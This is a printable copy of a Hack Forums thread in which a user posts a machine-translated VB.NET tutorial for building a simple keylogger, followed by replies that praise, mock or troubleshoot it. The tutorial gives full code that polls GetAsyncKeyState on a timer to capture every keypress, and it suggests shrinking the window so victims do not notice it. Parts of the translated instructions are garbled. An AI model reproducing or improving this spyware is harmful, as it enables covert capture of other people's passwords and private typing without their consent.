.NET [TuT] How to make a simple Keylogger - Printable Version

[.NET] [TuT] How to make a simple Keylogger - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [TuT] How to make a simple Keylogger (/showthread.php?tid=1211557)

Pages: Pages 1 2

[TuT] How to make a simple Keylogger - Skid - Apr 13, 2011

Hi everyone.

I'm gonna tell u how you can make a Keylogger with VB 2010.
You need this things out of you're toolbox:
1x Timer ("timer1" | enabled = true | interval = 1)
1x textbox

Select the object, and then you need to look in the menu "Properties".
To look at the codes/To find the codes you need click 2x (dubbleclick) on the bar where 'form1' stands.

what you should do next is to get information from a dll file called user32

This is done through the top of your code, the code below to put
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

We also have a variable needs to hold down the retrieved keys to which are then
migrate to txtkeys
this variable to do with this code: dim result As Integer

Now you're code will look like:

Code 
Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim result As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

End Class

Now we see what keys are pressed. Do this by going back to the design of your form and now by double clicking on Timer1
now you see that a piece of code in your old code has come.

Enter here:

Code 
For i = 1 To 255

result = 0

result = GetAsyncKeyState(i) 

If result = -32767 Then

If Chr(i) = "(" Then

txtkeys.Text = txtkeys.Text & "[Arrow Down]"

ElseIf Chr(i) = "%" Then

txtkeys.Text = txtkeys.Text & "[Arrow Left]"

ElseIf Chr(i) = "'" Then

txtkeys.Text = txtkeys.Text & "[Arrow Right]"

ElseIf Chr(i) = "&" Then

txtkeys.Text = txtkeys.Text & "[Arrow up]"

ElseIf Chr(i) = "" Then

txtkeys.Text = txtkeys.Text & "[mouse click left]"

ElseIf Chr(i) = "" Then

txtkeys.Text = txtkeys.Text & "[mouse click right]"

ElseIf Chr(i) = "" Then

txtkeys.Text = txtkeys.Text & "[backspace]"

ElseIf Chr(i) = "." Then

txtkeys.Text = txtkeys.Text & "[delete]"

ElseIf Chr(i) = "" Then

txtkeys.Text = txtkeys.Text & "[shift]"

ElseIf Chr(i) = " " Then

txtkeys.Text = txtkeys.Text & "[tab]"

ElseIf Chr(i) = "¾" Then

txtkeys.Text = txtkeys.Text & "."

ElseIf Chr(i) = "¼" Then

txtkeys.Text = txtkeys.Text & ","

ElseIf Chr(i) = "¿" Then

txtkeys.Text = txtkeys.Text & "/"

Else

txtkeys.Text = txtkeys.Text & Chr(i)

End If

End If

Next i

order. exe file of your keylogger to get your project to save and then compile and then go to the release directory

Here's how this
file-> save all (please choose a location where you want to save the program manages)
do now compiling
Build -> Build (here the name of your program manages)
Now go to where you've saved your program manages
go to
(the name of your programatje) -> (the name of your program manages) -> bin -> Release
Here is your program manages all ready all you need is just the exe file the rest is not necessary now that you can copy and prog blackberry pad test

You can form your best one as small as possible then people can not accidentally come or that they got to do this. go to the desinger and take the form of an edge and pull you who just have to format how you want it just as a normal program manages!

WARNING! I'm dutch, so i translated this from dutch -> English with Google Translater.

Have Fun with ur Keylogger!
Click here so i can earn some $$$: http://adf.ly/1ADNf

* - 0xE9 - Apr 13, 2011

Wow, nice keyboard hook lmao, jk

* - Skid - Apr 14, 2011

This Tutorial is translated by Google Translater!

* - yamachitov - Apr 23, 2011

Very good tut!

thank you man!

* - Deceptive - Apr 23, 2011

Very good, very good indeed. I can copy and paste threads too, or post something that has been posted 13587901x before.

* - 1337Montana - Apr 24, 2011

GetAsyncKeyState doesn't work For me,
but i already have a keylogger and it is working fine ;D
I used Hooks etc ...

* - JKE - Jun 2, 2011

I didn't get the exe file, just a .vshost, why?

* - ra1d - Jun 2, 2011

(Jun 2, 2011 05:49 AM)JKE Wrote: I didn't get the exe file, just a .vshost, why?

Because you don't know how to code.
Learn the basics and then I will gladly help you.
https://hackforums.net/showthread.php?tid=1340234

* - rapidguide - Jun 2, 2011

i m sure this keylogger does not working in w7 😝

* - Vuln - Jun 2, 2011

GetAsyncKeyState is working with W7 too...

* - AnonymousSeeker - Feb 11, 2013

Nice tut I like it. Simply and easy :)

* - Xyzo - Feb 14, 2013

(Feb 14, 2013 08:48 AM)alexmkd1 Wrote: Compiled and did everything, doesn't work.

try this one: https://hackforums.net/showthread.php?tid=3190886
;)

* - tweety - Feb 14, 2013

(Feb 14, 2013 08:48 AM)alexmkd1 Wrote: Compiled and did everything, doesn't work.

Maybe because its outdated and this thread is a two years old? Stop grave digging.

* - Malcolm˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞ - Feb 14, 2013

Dam this is easy. ive seen this every where on the internet, probaly just copied into here :)?

* - AmrAhmed - Feb 16, 2013

This program look pretty good <3 Nice One pretty clean!